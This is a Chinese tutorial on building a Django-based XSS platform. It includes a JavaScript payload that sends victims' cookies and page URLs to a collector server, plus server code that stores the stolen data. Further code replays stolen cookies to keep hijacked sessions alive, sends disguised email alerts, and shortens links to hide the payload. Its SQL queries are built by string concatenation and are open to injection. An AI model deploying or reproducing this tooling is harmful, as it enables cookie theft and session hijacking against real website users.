使用Django簡(jiǎn)單編寫一個(gè)XSS平臺(tái)的方法步驟

更新時(shí)間：2019年03月25日 08:24:19 作者：Yunen

這篇文章主要介紹了使用Django簡(jiǎn)單編寫一個(gè)XSS平臺(tái)的方法步驟，小編覺得挺不錯(cuò)的，現(xiàn)在分享給大家，也給大家做個(gè)參考。一起跟隨小編過來看看吧

1) 簡(jiǎn)要描述

原理十分簡(jiǎn)單2333,代碼呆萌,大牛勿噴 >_<

2) 基礎(chǔ)知識(shí)

XSS攻擊基本原理和利用方法
Django框架的使用

3) Let's start

0x01

工欲善其事必先利其器，首先我們需要準(zhǔn)備編寫代碼的各種工具和環(huán)境，這里不細(xì)說。我這里的環(huán)境和工具如下：

python 3.7.0
pycharm
windows 10
mysql 8.0.15
Django 2.1.3

需要用到的第三方庫：

django
pymysql
requests

0x02

我們先看一下XSS腳本是如何工作的

var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
    try {
      return document.location.href
    } catch(e) {
      return ''
    }
  })()) + '&toplocation=' + escape((function() {
    try {
      return top.location.href
    } catch(e) {
      return ''
    }
  })()) + '&cookie=' + escape((function() {
    try {
      return document.cookie
    } catch(e) {
      return ''
    }
  })()) + '&opener=' + escape((function() {
    try {
      return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
    } catch(e) {
      return ''
    }
  })());
})();

這段代碼非常簡(jiǎn)單，就是通過javascript獲取有用信息，然后通過訪問xss平臺(tái)將信息作為GET參數(shù)傳給服務(wù)器。

注意：這里使用AJAX可能會(huì)出現(xiàn)CORS跨域問題。

0x03

先給出關(guān)鍵代碼，其他都是Django相關(guān)的內(nèi)容，這里不做相關(guān)討論。

"""
根據(jù)url值動(dòng)態(tài)返回相應(yīng)的javascript代碼
"""
import pymysql,os
from user.safeio import re_check

def get_info(url):
  if not re_check(url,'num_letter'):
    return 'default'
  db = pymysql.connect('localhost','root','root','xss')
  cursor = db.cursor()
  cursor.execute("Select name From projects Where url='"+url+"'")
  js_name = cursor.fetchone()[0]
  if js_name == None:
    return 'default'
  else:
    return (js_name)

def get_js_value(url):
  js_name = get_info(url)
  file = '\\script\\'+js_name + '.js'
  js_value = open(os.getcwd()+file).read()
  js_value = js_value.replace('<-1234->',url)
  return js_value

import pymysql,time
from .getscript import get_info

def connect():
  try:
    db = pymysql.connect('localhost', 'root', 'root', 'xss')
    cursor = db.cursor()
    return db,cursor
  except:
    print('連接數(shù)據(jù)庫失敗，正在嘗試重新連接')
    connect()

def put_letter(requests,url):
  now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]
  if 'HTTP_X_FORWARDED_FOR' in requests.META:
    ip = requests.META['HTTP_X_FORWARDED_FOR']
  else:
    try:
      ip = requests.META['REMOTE_ADDR']
    except:
      ip = '0.0.0.0'
  ip = ip.replace("'","\'")
  origin = requests.GET.get('location','Unknown').replace("'","\'")
  software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
  method = requests.method.replace("'","\'")
  data = requests.GET.get('cookie','No data').replace("'","\'")
  keep_alive = requests.GET.get('keepsession','0').replace("'","\'")
  list = [now_time,ip,origin,software,method,data,keep_alive]
  put_mysql(list,url)

def put_mysql(list,url):
  db,cursor = connect()
  name = get_info(url)
  cursor.execute("Select user From projects Where url='"+url+"'")
  user = cursor.fetchone()[0]
  m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
  m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
  cursor.execute(m_query)
  db.commit()
  db.close()

def get_letters(username):
  db, cursor = connect()
  m_query = "SELECT * FROM letters WHERE user = '{}'"
  m_query = m_query.format(username)
  cursor.execute(m_query)
  result_list = cursor.fetchall()
  return result_list

既然我們知道了xss腳本會(huì)將信息構(gòu)造通過GET的參數(shù)形式傳給XSS平臺(tái)，我們只需在服務(wù)器接受數(shù)據(jù)并保存即可。

0x04

我們可以為我們的平臺(tái)編寫新的功能以完善我們的平臺(tái)，如郵件提醒，cookie活性保持等

#coding=utf-8

'''
郵件發(fā)送
'''

import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr

my_sender='xxxx'
my_pass = 'xxxx'

def send_mail(user_mail):
  try:
    print(user_mail)
    msg=MIMEText('您點(diǎn)的外賣已送達(dá)，請(qǐng)登錄平臺(tái)查詢','plain','utf-8')
    msg['From']=formataddr(["XSS平臺(tái)",my_sender])
    msg['To']=formataddr(["顧客",user_mail])
    msg['Subject']="您點(diǎn)的外賣已送達(dá)，請(qǐng)登錄平臺(tái)查詢"
    server=smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(my_sender, my_pass)
    server.sendmail(my_sender,[user_mail,],msg.as_string())
    server.quit()
  except Exception:
    pass

import requests,queue,time,pymysql

Cookie_Time = 1

def decrease(time,number):
  if time < number:
    time = '0'+str(time)
  else:
    time = str(time)
  return time

def count_time(now_time):
  global Cookie_Time
  year = int(now_time[0:2])
  month = int(now_time[3:5])
  day = int(now_time[6:8])
  hours = int(now_time[9:11])
  if hours < Cookie_Time:
    if day == 1:
      if month == 1:
        month=12
        year -= 1
      else:
        day=30
        month -= 1
    else:
      day -= 1
      hours += 19
  else:
    hours -= 5
  hours = decrease(hours,10)
  day = decrease(day,10)
  month = decrease(month,10)
  year = decrease(year,10)
  dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]
  return dec_time

def create_queue():
  Cookie_queue = queue.Queue()
  now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]
  dec_time = count_time(now_time)
  m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)
  db = pymysql.connect('127.0.0.1','root','root','xss')
  cursor = db.cursor()
  cursor.execute(m_query)
  return_list = cursor.fetchall()
  for x in return_list:
    Cookie_queue.put(x)
  return Cookie_queue

def action():
  while True:
    time.sleep(60)
    task_queue = create_queue()
    while not task_queue.empty():
      tasks = task_queue.get()
      url = tasks[1]
      ua = tasks[0]
      cookie = tasks[2]
      headers = {'User-Agent': ua, 'Cookie': cookie}
      try:
        requests.get(url, headers=headers)
      except:
        pass

注意這里需要使用獨(dú)立于django主線程的子線程，比如我在manager.py里添加了這么一段代碼：

import threading
from xssplatform.keep_alive import action

class keep_Thread(threading.Thread):
  def __init__(self):
    super(keep_Thread,self).__init__()
  def run(self):
    action()

if __name__ == '__main__':
  th = keep_Thread()
  th.start()

短鏈接：

'''

import requests,json

Headers = {
  "accept" : "application/json, text/javascript, */*; q=0.01",
  "accept-encoding" : "gzip, deflate, br",
  "accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",

  "content-type" : "application/x-www-form-urlencoded; charset=UTF-8",

}

def url_to_short(url):
  global Headers
  data = {'type':'c7','url':url}
  r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
  list = json.loads(r.text)
  return list['list']

4) 最后

其實(shí)看起來高大上的XSS平臺(tái)原理就那么簡(jiǎn)單，真正難的部分是關(guān)于XSS跨站腳本的編寫。

此項(xiàng)目已開源于 Github ，有任何問題可以提交issue，我會(huì)在第一時(shí)間進(jìn)行回復(fù)。

以上就是本文的全部?jī)?nèi)容，希望對(duì)大家的學(xué)習(xí)有所幫助，也希望大家多多支持腳本之家。
